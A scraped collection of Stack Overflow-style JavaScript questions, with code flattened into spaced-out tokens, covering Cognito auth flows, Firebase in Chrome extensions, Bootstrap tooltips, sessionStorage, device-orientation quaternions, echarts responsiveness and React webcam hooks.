refresh tokens with implicit grants via prompt=none . As you can see , Amazon has been unresponsive on the matter . Heck , even an option to customize the expiration time of the access_token ( with Implicit grant ) would be a nice compromise.So I 've successfully deployed the sample application from the amazon-cognito-auth-js JavaScript library , which is meant to be used with the Hosted Web UI flow . This should not be confused with the amazon-cognito-identity-js library , which should be used if you 're developing your own custom authentication workflow . The amazon-cognito-auth-js library supports both the Authorization Code Grant as well as the Implicit Grant and will handle parsing the tokens , caching/retrieving them to/from LocalStorage , and silently renewing the access_token with the refresh token ( for Authorization Code Grant ) .When I sign-in , my browser URL resembles the following : https : //www.myapp.com/home ? code=ABC123XYZ ... and the three JWT tokens are set in the browser 's LocalStorage . If I immediately refresh the page , however , I receive an `` invalid_grant '' error , because the Authorization code is still in the URL and has already been consumed . Should I just do a page redirect upon successful sign-in to remove the Authorization code from the URL ? Here 's the main code at play which I plan to call fromthe onLoad ( ) of every page in my app : function initCognitoSDK ( ) { var authData = { ClientId : ' < TODO : your app client ID here > ' , // Your client id here AppWebDomain : ' < TODO : your app web domain here > ' , // Exclude the `` https : // '' part . TokenScopesArray : < TODO : your scope array here > , // like [ 'openid ' , 'email ' , 'phone ' ] ... RedirectUriSignIn : ' < TODO : your redirect url when signed in here > ' , RedirectUriSignOut : ' < TODO : your redirect url when signed out here > ' , IdentityProvider : ' < TODO : your identity provider you want to specify here > ' , UserPoolId : ' < TODO : your user pool id here > ' , AdvancedSecurityDataCollectionFlag : < TODO : boolean value indicating whether you want to enable advanced security data collection > } ; var auth = new AmazonCognitoIdentity.CognitoAuth ( authData ) ; // You can also set state parameter // auth.setState ( < state parameter > ) ; auth.userhandler = { onSuccess : function ( result ) { alert ( `` Sign in success '' ) ; showSignedIn ( result ) ; } , onFailure : function ( err ) { alert ( `` Error ! '' + err ) ; } } ; // The default response_type is `` token '' , uncomment the next line will make it be `` code '' . auth.useCodeGrantFlow ( ) ; return auth ; }",Using Amazon Cognito 's Authorization Code Grant with Serverless/Single-Page Web Application "JS : I have a string like this : I want to create tooltips for them such that it looks like this : Using a naive replacement however I end up with this : Which is not what I want . How do I write a regex or do a replacement in such a way that it does n't replace text that 's already part of the tooltip ? Edit : I did n't make it clear that the replacements are not Size and Color , they 're just examples . I 'm adding an arbitrary amount , usually 20+ tooltips to any string.Here are some testables : Should result in : The longer match should take precedence over shorter matches . It should match on only whole words and not parts of words . Edit : Forgot to state yet another requirement.It should still match strings that are wrapped with tags that are not tooltips . `` Size : 40 ; Color : 30 '' < span class='tooltip ' data-tooltip='The Size of a Unit is controlled by the Color of the Unit . ' > Size < /span > : 40 ; < span class='tooltip ' data-tooltip='The Color of a Unit is a standard Setting . ' > Color < /span > : 30 < span class='tooltip ' data-tooltip='The Size of a Unit is controlled by the < span class='tooltip ' data-tooltip='The Color of a Unit is a standard Setting . ' > Color < /span > of the Unit . ' > Size < /span > : 40 ; < span class='tooltip ' data-tooltip='The Color of a Unit is a standard Setting . ' > Color < /span > : 30 var tooltips = { `` Size '' : '' The Size of a Unit is controlled by the Color '' , `` Color '' : `` bar '' , `` Time and Size '' : `` foo '' } '' Here we have something of < b > Size < /b > 20 and Color red . it 's very important that the Time and Size of the work and kept in sync . '' `` Here we have something of < b > < span class='tooltip ' data-tooltip='The Size of a Unit is controlled by the Color ' > Size < span > < /b > 20 and < span class='tooltip ' data-tooltip='bar ' > Color < span > red . it 's very important that the < span class='tooltip ' data-tooltip='foo ' > Time and Size < span > of the work and kept in sync . ''",javascript create tooltip for part of the string that 's not already under a tooltip "JS : Given is an array like this : The output should be : I tried this : How can I remember the last part and add the next level ? var level = [ `` a '' , `` b '' , `` x '' ] ; { `` a '' : { `` b '' : { `` x '' : { } } } } var level = [ `` a '' , `` b '' , `` x '' ] ; var o = { } ; for ( var c = 0 , len = level.length ; c < len ; c +=1 ) { var part = level [ c ] ; o [ part ] = { } ; // how to remember the last part ? }",How to create a nested object given an array of keys "JS : I am trying to set up authentication in my Chrome Extension . I simply want users to be able to click the extension icon , log in with email + password and then be able to use the different components of the extension . If the extension popup is closed , they should n't have to login again.I have been scrupulously following the documentation here , here and the Chrome Extension specific documentation here with my very limited dev experience.Here is my manifest.json.My background.html and background.js are rigorously identical to the last example I linked to above except off course I replaced the Firebase config with my own.My popup.html is : Where initialize.js is simply the Firebase initialization script and my popup.js is : Using this , I can say that login works each time I click on the extension icon , but if I close and reopen the popup , I have to login again . I have been asking about this pretty much every where I could . I also tried to ask the answer to this stackoverflow question to my background.js script but to no avail.If I am not completely lost , I think I have an idea of why it is this way . If I 'm not mistaken , the browser action popup overrides what the background page / script are doing . However I am not sure what I should modify . I have also looked at this about authenticating Firebase with Chrome Extensions but I ca n't make sense of how it fits into my work.At this point I have no idea what to do next . { `` name '' : `` Extension '' , `` version '' : `` 0.1 '' , `` description '' : `` '' , `` permissions '' : [ `` tabs '' , `` activeTab '' , `` storage '' ] , `` content_security_policy '' : `` script-src 'self ' https : //www.gstatic.com/ https : //*.firebaseio.com https : //*.firebase.com https : //www.googleapis.com ; object-src 'self ' '' , `` background '' : { `` page '' : '' background.html '' , `` persistent '' : true } , `` browser_action '' : { `` default_popup '' : `` popup.html '' , `` default_icon '' : { } } , `` manifest_version '' : 2 } < ! DOCTYPE html > < html lang= '' en '' dir= '' ltr '' > < head > < meta charset= '' utf-8 '' > < title > < /title > < script src= '' https : //www.gstatic.com/firebasejs/5.10.0/firebase.js '' > < /script > < script src= '' firebase/initialize.js '' charset= '' utf-8 '' > < /script > < script src= '' https : //cdn.firebase.com/libs/firebaseui/3.5.2/firebaseui.js '' > < /script > < link type= '' text/css '' rel= '' stylesheet '' href= '' https : //cdn.firebase.com/libs/firebaseui/3.5.2/firebaseui.css '' / > < link type= '' text/css '' rel= '' stylesheet '' href= '' styles/popup.css '' / > < /head > < body > < h1 > Extension < /h1 > < div id= '' firebaseui-auth-container '' > < /div > < ! -- Firebase App ( the core Firebase SDK ) is always required and must be listed first -- > < script src= '' src/popup.js '' > < /script > < /body > < /html > //Initizalier FirebaseUI instancevar ui = new firebaseui.auth.AuthUI ( firebase.auth ( ) ) ; //Define sign-in methodsvar uiConfig = { callbacks : { //Callbacl if sign up successful signInSuccessWithAuthResult : function ( authResult ) { // User successfully signed in . // Return type determines whether we continue the redirect automatically // or whether we leave that to developer to handle . //Script to replace popup content with my Extension UI return false ; } , } , signInOptions : [ { provider : firebase.auth.EmailAuthProvider.PROVIDER_ID , requireDisplayName : false } ] , } ; //Initialize UIui.start ( ' # firebaseui-auth-container ' , uiConfig ) ;",Persist auth state Firebase + Chrome Extension "JS : I have tried changing the versions of bootstrap , jquery , and popper but no luck . I do n't think I am using more than one version of jquery . Not sure where it went wrong . It would be great if someone helps me to find what I am missing . Here is my list of files , package.json : config/webpack/environment.jsapplication.jsWarning : Error : { `` name '' : `` kf '' , `` private '' : true , `` dependencies '' : { `` @ fortawesome/fontawesome-free '' : `` ^5.12.1 '' , `` @ rails/ujs '' : `` ^6.0.0 '' , `` @ rails/webpacker '' : `` 4.2.2 '' , `` bootstrap '' : `` ^4.4.1 '' , `` jquery '' : `` ^3.4.1 '' , `` popper.js '' : `` ^1.16.1 '' , `` sweetalert2 '' : `` ^9.8.2 '' } , `` version '' : `` 0.1.0 '' , `` devDependencies '' : { `` webpack-dev-server '' : `` ^3.10.3 '' } } const { environment } = require ( ' @ rails/webpacker ' ) ; const webpack = require ( 'webpack ' ) ; environment.plugins.append ( 'Provide ' , new webpack.ProvidePlugin ( { $ : 'jquery/src/jquery ' , jQuery : 'jquery/src/jquery ' , Popper : [ 'popper.js ' , 'default ' ] } ) ) ; module.exports = environment ; require ( ' @ rails/ujs ' ) .start ( ) ; require ( 'jquery/dist/jquery ' ) ; require ( 'popper.js/dist/umd/popper ' ) ; require ( 'bootstrap/dist/js/bootstrap ' ) ; require ( ' @ fortawesome/fontawesome-free ' ) ; require ( './owl.carousel.min ' ) ; require ( './fastclick ' ) ; require ( './custom-script ' ) ; require ( './return-to-top ' ) ; const Swal = require ( 'sweetalert2 ' ) ; window.Swal = Swal ; const images = require.context ( '../images ' , true ) ; const imagePath = name = > images ( name , true ) ; import 'stylesheets/application ' ; jQuery ( document ) .ready ( function ( $ ) { $ ( ' [ data-toggle= '' tooltip '' ] ' ) .tooltip ( ) ; } ) ; jQuery.Deferred exception : $ ( ... ) .tooltip is not a function TypeError : $ ( ... ) .tooltip is not a function Uncaught TypeError : $ ( ... ) .tooltip is not a function",$ ( ... ) .tooltip is not a function rails 6 webpack "JS : It is recommended to always use hasOwnProperty , but in many cases this is not needed . For example consider the following code : I know in this case that prop is part of the object , it is explict define by the for..in.But according to MOZ https : //developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty we should use it to avoid iterating over non-enumarable props , with this example : But testing this code actually , never goes to the else.So when does make sense the use of hasOwnProperty ? UPDATE : Considering the choosen answer , we can safetly avoid the use of hasOwnProperty in this cases : - Object js has not been extended by any javascript library or by our code- Object is a simple code that we have control on var object = JSON.parse ( somejsontext ) ; for ( var prop in object ) { console.log ( object [ prop ] ) ; } var buz = { fog : 'stack ' } ; for ( var name in buz ) { if ( buz.hasOwnProperty ( name ) ) { console.log ( 'this is fog ( ' + name + ' ) for sure . Value : ' + buz [ name ] ) ; } else { console.log ( name ) ; // toString or something else } }","hasOwnProperty when to use , and when not needed ?" "JS : Hi everyone having a tough time updating a value that I am storing in sessionstorage . I tried a few ways to target the nested objects values with no luck . Any help would be greatly appreciated.Object I am creating in JavaScriptHow I am persisting to sessionHow do I target the nested project name in project info . For example var projectInfo = { project1 : { name : 'Unique name ' , extraCredit : true } project2 : { name : 'Unique name ' , extraCredit : true } } sessionStorage.setItem ( 'projectInfo ' , JSON.stringify ( projectInfo ) ) ; sessionStorage.setItem ( projectInfo.project1.name , 'Student Fund raiser ' )",Setting nested object value in session storage "JS : I am currently building a google extension and this is what I 'm going for : Do something on awesome.page1.html then automatically press Next Page . When the new page has loaded , fill in a form 's textfield . My issue is that even though I know how to fill in the textfield , I do n't quite know how to tell it to fill it in once page2 has loaded . It keeps trying to do everything on page 1.This is what I 'm trying but it 's not working : I 'm using an alert just for testing , and I keep getting the `` Page 2 is up '' even though it is still on page 1 . I 'm checking if an element , which is only present in page 2 , is up . How could I make sure page2 is up ? function addEffect ( ) { document.getElementsByClassName ( `` effect1 shine '' ) [ 0 ] .click ( ) ; document.getElementsByClassName ( `` nextPage BigButton '' ) [ 0 ] .click ( ) ; nextStep ( ) ; } function nextStep ( ) { if ( document.getElementsByClassName ( `` myformTextField imageName '' ) ! = undefined ) { alert ( 'Page 2 is up . ' ) ; } else { alert ( 'Page 1 is still up . ' ) ; setTimeout ( `` nextStep ( ) '' , 250 ) ; } }",Javascript : Performing action once the next page has loaded ? "JS : I 'm triying to call a function when Javascript audio ( ) object is loaded , but It does n't work using onload.But it 's working with the image ( ) object . How can I make it working with audio ( ) object ? Thanks myaud.onload = audioDone ;",Javascript audio object onload event "JS : In Firefox console , this code will generate error : this code works just finethis code works fine as wellCan someone help to explain why is the diference ? thanks ! { `` d '' : [ `` bankaccountnumber '' , `` $ 1234.56 '' ] } > SyntaxError : invalid label { > message= '' invalid label '' , more ... } { d : [ `` bankaccountnumber '' , `` $ 1234.56 '' ] } > [ `` bankaccountnumber '' , `` $ 1234.56 '' ] var a = { 'd ' : [ `` bankaccountnumber '' , `` $ 1234.56 '' ] } ; a.d > [ `` bankaccountnumber '' , `` $ 1234.56 '' ]",JavaScript Object literal notation confusion "JS : I am using something like this : For switching photos in photoalbum with arrow keys.. It works great , but ! I want to disable in textarea . Because , if I am commenting a photo and I want to move cursor with arrow keys , I switch photo and lose my text : ) How to disable it ? Can I catch , which element is focused ? Thank you jQuery ( document ) .keydown ( function ( e ) { // code }",Disable keyboard shortcut in textarea "JS : I 'd like to normalize table rows . This works like a charm , except in IE ( tested with IE 11 ) .I 've created a demo snippet to demonstrate the issue : This replaces the < span > element with its content . After this step the node will look like : Then , normalize ( ) is called to merge the splitted text nodes . However , in IE11 the text nodes are still splitted.I ca n't see any issue from my side . What 's the cause of this problem and what could be the solution ? As it turned out that this is a IE11 bug , I 've filled in a bug report ! $ ( function ( ) { $ ( `` table tbody tr span '' ) .each ( function ( ) { var $ this = $ ( this ) ; var $ parent = $ this.parent ( ) ; $ this.replaceWith ( $ this.html ( ) ) ; $ parent [ 0 ] .normalize ( ) ; } ) ; } ) ; < link href= '' https : //cdn.jsdelivr.net/bootstrap/3.3.6/css/bootstrap.min.css '' rel= '' stylesheet '' / > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < table class= '' table table-striped table-hover '' > < thead > < tr > < th > President < /th > < th > Birthplace < /th > < /tr > < /thead > < tbody > < tr > < td > < span > Zach < /span > ary Taylor < /td > < td > Barboursville , Virginia < /td > < /tr > < /tbody > < /table >",IE11 DOM normalize does n't work with table row "JS : I 've created a simple forEach function and I 'm trying to understand why , when I run it with myArray , it does n't mutate the array even though I run element*2 . function forEach ( array , callback ) { for ( var i = 0 ; i < array.length ; i++ ) { callback ( array [ i ] , i , array ) } ; } var myArray = [ 1,2,3 ] forEach ( myArray , function ( element ) { element*2 } ) console.log ( myArray ) /// [ 1,2,3 ]",forEach does not mutate an array that I pass in "JS : I am writing a function that can create an email template from a HTML template and some information that is given . For this I am using the $ compile function of Angular . There is only one problem I can not seem to solve . The template consists of a base template with an unlimited amount of ng-include 's . When I use the 'best practice ' $ timeout ( advised here ) It works when I remove all the ng-include 's . So that is not what I want . The $ timeout example : When I start to add ng-include 's to the template this function starts to return templates that are not yet fully compiled ( a workarround is nesting $ timeout functions ) . I believe this is because of the async nature of a ng-include . Working codeThis code returns the html template when it is done rendering ( function can now be reused , see this question for the problem ) . But this solution is a big no go since it is using the angular private $ $ phase to check if there are any ongoing $ digest 's . So I am wondering if there is any other solution ? What I wantI would like to have a functionality that could handle an unlimited amount of ng-inlude 's and only return when the template has succesfully been created . I am NOT rendering this template and need to return the fully compiled template . SolutionAfter experimenting with @ estus answer I finally found an other way of checking when $ compile is done . This resulted in the code below . The reason I am using $ q.defer ( ) is due to the fact that the template is resolved in an event . Due to this I can not return the result like a normal promise ( I can not do return scope. $ on ( ) ) . The only problem in this code is that it depends heavily on ng-include . If you serve the function a template that does n't have an ng-include the $ q.defer is never resovled . return this. $ http.get ( templatePath ) .then ( ( response ) = > { let template = response.data ; let scope = this. $ rootScope. $ new ( ) ; angular.extend ( scope , processScope ) ; let generatedTemplate = this. $ compile ( jQuery ( template ) ) ( scope ) ; return this. $ timeout ( ( ) = > { return generatedTemplate [ 0 ] .innerHTML ; } ) ; } ) .catch ( ( exception ) = > { this.logger.error ( TemplateParser.getOnderdeel ( process ) , `` Email template creation '' , ( < Error > exception ) .message ) ; return null ; } ) ; return this. $ http.get ( templatePath ) .then ( ( response ) = > { let template = response.data ; let scope = this. $ rootScope. $ new ( ) ; angular.extend ( scope , processScope ) ; let generatedTemplate = this. $ compile ( jQuery ( template ) ) ( scope ) ; let waitForRenderAndPrint = ( ) = > { if ( scope. $ $ phase || this. $ http.pendingRequests.length ) { return this. $ timeout ( waitForRenderAndPrint ) ; } else { return generatedTemplate [ 0 ] .innerHTML ; } } ; return waitForRenderAndPrint ( ) ; } ) .catch ( ( exception ) = > { this.logger.error ( TemplateParser.getOnderdeel ( process ) , `` Email template creation '' , ( < Error > exception ) .message ) ; return null ; } ) ; /** * Using the $ compile function , this function generates a full HTML page based on the given process and template * It does this by binding the given process to the template $ scope and uses $ compile to generate a HTML page * @ param { Process } process - The data that can bind to the template * @ param { string } templatePath - The location of the template that should be used * @ param { boolean } [ useCtrlCall=true ] - Whether or not the process should be a sub part of a $ ctrl object . If the template is used * for more then only an email template this could be the case ( EXAMPLE : $ ctrl. < process name > .timestamp ) * @ return { IPromise < string > } A full HTML page*/public parseHTMLTemplate ( process : Process , templatePath : string , useCtrlCall = true ) : ng.IPromise < string > { let scope = this. $ rootScope. $ new ( ) ; //Do NOT use angular.extend . This breaks the events if ( useCtrlCall ) { const controller = `` $ ctrl '' ; //Create scope object | Most templates are called with $ ctrl. < process name > scope [ controller ] = { } ; scope [ controller ] [ process.__className.toLowerCase ( ) ] = process ; } else { scope [ process.__className.toLowerCase ( ) ] = process ; } let defer = this. $ q.defer ( ) ; //use defer since events can not be returned as promises this. $ http.get ( templatePath ) .then ( ( response ) = > { let template = response.data ; let includeCounts = { } ; let generatedTemplate = this. $ compile ( jQuery ( template ) ) ( scope ) ; //Compile the template scope. $ on ( ' $ includeContentRequested ' , ( e , currentTemplateUrl ) = > { includeCounts [ currentTemplateUrl ] = includeCounts [ currentTemplateUrl ] || 0 ; includeCounts [ currentTemplateUrl ] ++ ; //On request add `` template is loading '' indicator } ) ; scope. $ on ( ' $ includeContentLoaded ' , ( e , currentTemplateUrl ) = > { includeCounts [ currentTemplateUrl ] -- ; //On load remove the `` template is loading '' indicator //Wait for the Angular bindings to be resolved this. $ timeout ( ( ) = > { let totalCount = Object.keys ( includeCounts ) //Count the number of templates that are still loading/requested .map ( templateUrl = > includeCounts [ templateUrl ] ) .reduce ( ( counts , count ) = > counts + count ) ; if ( ! totalCount ) { //If no requests are left the template compiling is done . defer.resolve ( generatedTemplate.html ( ) ) ; } } ) ; } ) ; } ) .catch ( ( exception ) = > { defer.reject ( exception ) ; } ) ; return defer.promise ; }",How to check if $ compile has been completed ? "JS : I have a class amt and when that class is clicked I want to get the values of the clicked < h6 > , < span > and < label > tags . How do I do this in jquery ? I have already seen a question here Get value of List Item with jQuery but it uses same under tag but i have to get different elemet value under same tag < li class= '' amt '' id= '' diecut_am1 '' > < h6 > 50 < /h6 > < span > $ 59.00 < /span > < label > $ 51.30 < /label > < /li > < li class= '' amt '' id= '' diecut_am2 '' > < h6 > 100 < /h6 > < span > $ 68.00 < /span > < label > $ 61.20 < /label > < /li >",Get Values of sub elements of clicked class using jquery "JS : html : js : ( using callback ) So that every time SPAN is click , text 'rolled ' appended after font size increased , instead of happening together.And it can be done by using queue ( ) as well like this : js : ( using queue ( ) ) I am not sure what is the difference between them . both do the same thing . Why is queue ( ) better/prefer than using callback , ( or why is not ) ? What is special about queue ( ) ? Thanks . < span > hello world ! < /span > $ ( 'span ' ) .click ( function ( ) { $ ( this ) .animate ( { fontSize : '+=10px ' } , 'slow ' , function ( ) { // callback after fontsize increased $ ( this ) .text ( $ ( this ) .text ( ) + ' rolled ! ' ) ; } ) ; } ) ; $ ( 'span ' ) .click ( function ( ) { $ ( this ) .animate ( { fontSize : '+=10px ' } , 'slow ' } ) .queue ( function ( ) { $ ( this ) .text ( $ ( this ) .text ( ) + ' rolled ! ' ) ; } ) ; } ) ;",jQuery . How is queue ( ) different from using callback function for something is done ? "JS : Typescript Language Specification says : Every JavaScript program is also a TypeScript programNow consider this code : This is a perfectly valid javascript that will execute with no error . It is NOT a valid TypeScript , and it will fail to compile.There is clearly mismatch in my understanding of the quoted statement above and the code example.Could you please clarify , what makes the spec statement true in the context of the example I gave above.UpdateTo address the argument that the statement does not reflect a program validity , let 's rephrase it this way : Every JavaScript program is also a valid or invalid TypeScript programor Every JavaScript program is not necessarily a valid TypeScript programIf the authors wanted to say the latter , why did not they say that ? var i = 5 ; i = `` five '' ;",Is every JavaScript program also a TypeScript program ? JS : I have jQuery plugin that I 'm testing . I found this question : How to run Jasmine tests on Node.js from command line ? but when I run : I got errors that $ is not defined . How can I include jQuery ? ( Right now I only test utilities that do n't interact with the dom ) . node_modules/jasmine-node/bin/jasmine-node -- verbose -- junitreport -- noColor spec,How to test jQuery plugin from command line using jasmine and node ? "JS : I am trying to create a simple effect for my application which is to Fade it in from white over a period of 1-2 seconds so that the user does n't have to see it being assembled.I almost have it working , but there is some flickering that I ca n't seem to get rid of . Basically ExtJS is rendering my UI and then immediately hiding it so it can be faded in.Here 's my app : What can I do to get rid of the initial draw before the FadeIn ? Ext.application ( { name : 'MyApp ' , // Application level namespace appFolder : 'js/myapp ' , // Directory path to app autoCreateViewport : true , launch : function ( ) { // fade in the viewport var form = Ext.ComponentQuery.query ( `` viewport '' ) [ 0 ] ; form.getEl ( ) .fadeIn ( { from : { opacity : 0 } , duration : 1000 } ) ; } } ) ;",ExtJs 4 - Fade In application viewport "JS : I 'm curious about adding classes vs. adding attributes to elements in order to dynamically style them.The convention for applying CSS properties to certain elements that satisfy specific parameters is usually done by applying a class to that element . For instance if I click on a button , that button can be said to be in an active state - I could choose then to apply a custom class to it on click , like so : The CSS would be as simple as : My approach is different , and I 'm curious as to whether there 's any appreciable difference between the two . I apply attributes to the elements instead of classes , like so : With the CSS like this : I 'm wondering if there are any reasons why I should n't do this i.e . if this is a bad convention or whatever and if there 's any performance difference in this method . Mostly just curious , but also wondering if using queries like $ ( `` .button [ active ] '' ) turn out to be less performant than $ ( `` .button .active '' ) , for example . $ ( `` .button '' ) .click ( function ( ) { $ ( this ) .addClass ( `` active '' ) ; } ) ; .button.active { transform : scale ( 1.5 ) ; } $ ( `` .button '' ) .click ( function ( ) { $ ( this ) .attr ( `` active '' , true ) ; } ) ; .button [ active ] { transform : scale ( 1.5 ) ; }",Are there any performance ( or otherwise ) differences concerning attributes vs. classes ? "JS : When i focus on the text fields , the background and border color changes to yellow and green respectively ( through css ) .If i click on submit without entering anything , the border color changes to red ( through javascript ) .But when i bring the focus on the text field again , the red border color does not go away , instead i get both green and red borders.I want it to be green only . Can you also explain the reason for this behavior . function validate ( ) { var username = document.getElementById ( `` username '' ) .value ; var password = document.getElementById ( `` password '' ) .value ; if ( username == `` '' ) { document.getElementById ( `` message '' ) .innerHTML = `` USERNAME CAN NOT BE EMPTY '' ; document.getElementById ( `` username '' ) .style.borderColor = `` red '' ; return false ; } if ( password == `` '' ) { document.getElementById ( `` message '' ) .innerHTML = `` PASSWORD CAN NOT BE EMPTY '' ; document.getElementById ( `` password '' ) .style.borderColor = `` red '' ; return false ; } } # username : focus { background-color : yellow ; border-color : green ; } # password : focus { background-color : yellow ; border-color : green ; } # message { color : red ; } < form onsubmit= '' return validate ( ) '' > LOGIN : - < br > < input id= '' username '' type= '' text '' name= '' username '' placeholder= '' USERNAME '' > < br > < input id= '' password '' type= '' password '' name= '' password '' placeholder= '' PASSWORD '' > < br > < input type= '' submit '' value= '' SUBMIT '' > < p id= '' message '' > < /form >",Remove previously set border color "JS : I 've written a JS SDK that listens to mobile device rotation , providing 3 inputs : α : An angle can range between 0 and 360 degreesβ : An Angle between -180 and 180 degreesγ : An Angle between -90 to 90 degreesDocumentation for device rotationI have tried using Euler Angles to determine the device orientation but encountered the gimbal lock effect , that made calculation explode when the device was pointing up . That lead me to use Quaternion , that does not suffer from the gimbal lock effect.I 've found this js library that converts α , β and γ to a Quaternion , so for the following values : α : 81.7324β : 74.8036γ : -84.3221 I get this Quaternion for ZXY order : w : 0.7120695154301472x : 0.6893688637611577y : -0.10864439143062626z : 0.07696733776346154 Code : Visualizing the device orientation using 4d CSS matrix derived from the Quaternion Reflected the right device orientation ( DEMO , use mobile ) : Wrong visualizing with Euler Angels and the developer tools ( DEMO , use mobile ) : I would like to write a method that gets α , β and γ and outputs if the device is in one of the following orientations : portraitportrait upside downlandscape leftlandscape rightdisplay updisplay downDefining each orientation as a range of +- 45° around the relevant axes . What approach should I take ? var rad = Math.PI / 180 ; window.addEventListener ( `` deviceorientation '' , function ( ev ) { // Update the rotation object var q = Quaternion.fromEuler ( ev.alpha * rad , ev.beta * rad , ev.gamma * rad , 'ZXY ' ) ; // Set the CSS style to the element you want to rotate elm.style.transform = `` matrix3d ( `` + q.conjugate ( ) .toMatrix4 ( ) + `` ) '' ; } , true ) ;",Device orientation using Quaternion "JS : Can you use a for loop in JSX like this ? Or rather , what is the propper way to write a for like this ? var graph = < div className= { `` chartContent '' } > . . . < div className= '' panel '' > { DataRows.forEach ( function ( entry ) & & < div className= '' col-sm-2 graphPanel graphPanelExtra '' > < div className= '' panel panel-primary '' > < div > entry < /div > < /div > < /div > ) } < /div > < /div > ;",Use For loop inside JSX "JS : Some of coworkers are saying that nesting functions is bad for performance and I wanted to ask about this.Lets say I have the function : helper is a private function that is only used inside calculateStuff . That 's why I wanted to encapsulate this inside calculateStuff.Is this worse performance wise than doing : Notice that in the second case , I expose helper to my scope . function calculateStuff ( ) { function helper ( ) { // helper does things } // calculateStuff does things helper ( ) ; } function helper ( ) { } function calculateStuff ( ) { helper ( ) ; }",Nesting functions and performance in javascript ? JS : i have noticed this weird tool-tip behavior .if i click on the link having bootstrap tool-tip and then switch tabs or minimize window and then come back to main window the Tooltip gets shown even though the mouse is not hovering it.is this a bug ? or normal behavior ? http : //jsfiddle.net/4nhzyvbL/1/HTML CODE CSS CODEJS CODEhow can i make tool-tip to not show when user comes back to main window ? i.e . hide automatically . < a data-original-title= '' Download '' target= '' _blank '' href= '' http : //www.google.com/ '' data-toggle= '' tooltip '' title= '' '' > click me and then come back to check me < /a > @ import url ( `` http : //maxcdn.bootstrapcdn.com/bootswatch/3.2.0/cerulean/bootstrap.min.css '' ) ; @ import url ( `` http : //maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap-theme.min.css '' ) ; @ import url ( `` http : //netdna.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css '' ) ; $ ( function ( ) { $ ( ' [ data-toggle= '' tooltip '' ] ' ) .tooltip ( { } ) ; } ) ;,How to close Bootstrap Tooltip automatically which gets visible after clicking and losing focus or switching tabs ? "JS : I want to parse a Date chosen by user : I useIt gives me November , 08 , 2009 . But what I need is August , 11 , 2009.What is the simplest way to parse the date ? var ds = `` 11 / 08 / 2009 '' ; var d = new Date ( ds ) ;",Simplest way to parse a Date in Javascript "JS : I have a bootstrap carousel with 2 slides . Both the slides uses bootstrap grids of 2x2 to display charts on them . They are working fine , however I am trying to implement responsive media queries and ca n't seem to make it work . I used baseOptions and media options to define but the charts do not load up and the console does n't show any error.I have tried to define the < div > container with inline style width and height i.e . style= '' width : 100 % ; height:400px ; '' and I have also tried to define the width and height in CSS like so-The javascript looks like below.if I use it without the media query it works just fine . like this myChart1.setOption ( option ) ; Using the media query , as per the documentation along with baseOptions and media , the charts simply do n't load and it does n't show me any error in the console as well , so I am not sure if I am using it correctly or not . By the way , I also have this in the end of the script to be able to resize the charts when the window is resized but then I realized that this is not truly responsive -The bootstrap chart elements are < div > elements within other div with a class of BS container-fluid . The carousel code can be found in this JSFiddle . .mychart { width : 100 % ; height : 400px ; } < div id= '' chart1 '' style= '' width : 100 % ; height:400px ; '' > < /div > //with inline style < div id= '' chart1 '' class= '' mychart '' > < /div > //with CSS classvar myChart1 = echarts.init ( document.getElementById ( 'chart1 ' ) ) ; var lpnArr = [ 101 , 43 , 10 , 250 ] ; option = { title : { text : 'My data Pie ' , subtext : 'Data as of last batch ' , x : 'center ' } , tooltip : { trigger : 'item ' , formatter : `` { b } : { c } ( { d } % ) '' } , legend : { orient : 'vertical ' , x : 'left ' , data : [ 'Processed ' , 'Unprocessed ' , 'In RIB ' , 'Errors ' ] } , color : [ ' # 4bc14f ' , ' # ff7f50 ' , ' # da70d6 ' , ' # d8316f ' ] , toolbox : { show : true , feature : { mark : { show : false } , dataView : { show : false } , magicType : { show : false } , dataZoom : { show : false } , restore : { show : true } , saveAsImage : { show : true } } } , calculable : true , series : [ { name : 'Processed ' , type : 'pie ' , radius : [ '50 % ' , '70 % ' ] , startAngle : 230 , center : [ '35 % ' , '50 % ' ] , itemStyle : labelFormatter , //custom formatter data : lpnArr //load chart with data array lpnArr } ] } var mediaQuery = [ { option : { series : [ { radius : [ '50 % ' , '70 % ' ] , center : [ '35 % ' , '50 % ' ] } ] } } , { query : { minAspectRatio : 1 } , option : { series : [ { radius : [ '50 % ' , '70 % ' ] , center : [ '35 % ' , '50 % ' ] } ] } } , { query : { maxAspectRatio : 1 } , option : { series : [ { radius : [ '50 % ' , '70 % ' ] , center : [ '50 % ' , '35 % ' ] } ] } } , { query : { maxWidth : 500 } , option : { series : [ { radius : [ '50 % ' , '70 % ' ] , center : [ '50 % ' , '35 % ' ] } ] } } ] ; myChart1.setOption ( { baseOption : option , media : mediaQuery } ) ; $ ( window ) .on ( 'resize ' , function ( ) { myChart1.resize ( ) ; } ) ;",echarts Media queries not working with Bootstrap ( carousel ) "JS : I have some ( invalid ) HTML code which I can not change : With jQuery , I select one of the two anchors : Now , I 'd like to get the text inside the curly brackets . So , for id=1 this would mean some-data , for id=2 this would be some-other-data.How can I do this ? To make it easy : there will be only one curly bracked thing in one element . < a href= '' # '' id= '' text1 '' { some-data } > ... < /a > < a href= '' # '' id= '' text2 '' { some-other-data } > ... < /a > function someFunction ( id ) { $ ( 'text'+id ) ... ; }",Get invalid HTML code in curly brackets with jQuery "JS : I am trying to get a webcam feed to display on my app using react hooks . I also need to be able to capture the latest image from the feedI believe I have the foundations but am missing something . import React , { useState , useEffect } from `` react '' export function VideoFeed ( ) { const [ constraints ] = useState ( { width:300 , height:300 } ) useEffect ( ( ) = > { navigator.mediaDevices.getUserMedia ( { video : true } ) .then ( stream= > { let video = document.querySelector ( 'video ' ) video.source = stream ; video.play ( ) ; } ) .catch ( e= > { console.log ( e ) } ) } ) return ( < video autoPlay = { true } id = '' video '' > < /video > ) }",How to get webcam feed with react hooks ? "JS : I was curious if there is a way to measure what kind of CPU usage occurs when it comes to CSS3 transforms versus javascript based animations ( jQuery , Dojo ) . Surely there 's an elegant solution for tracking resource usage with this kind of situation . Here 's a simple example : < ! DOCTYPE html > < html > < head > < script src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js '' > < /script > < script > $ ( document ) .ready ( function ( ) { $ ( ' # object1 ' ) .hover ( function ( ) { $ ( this ) .animate ( { 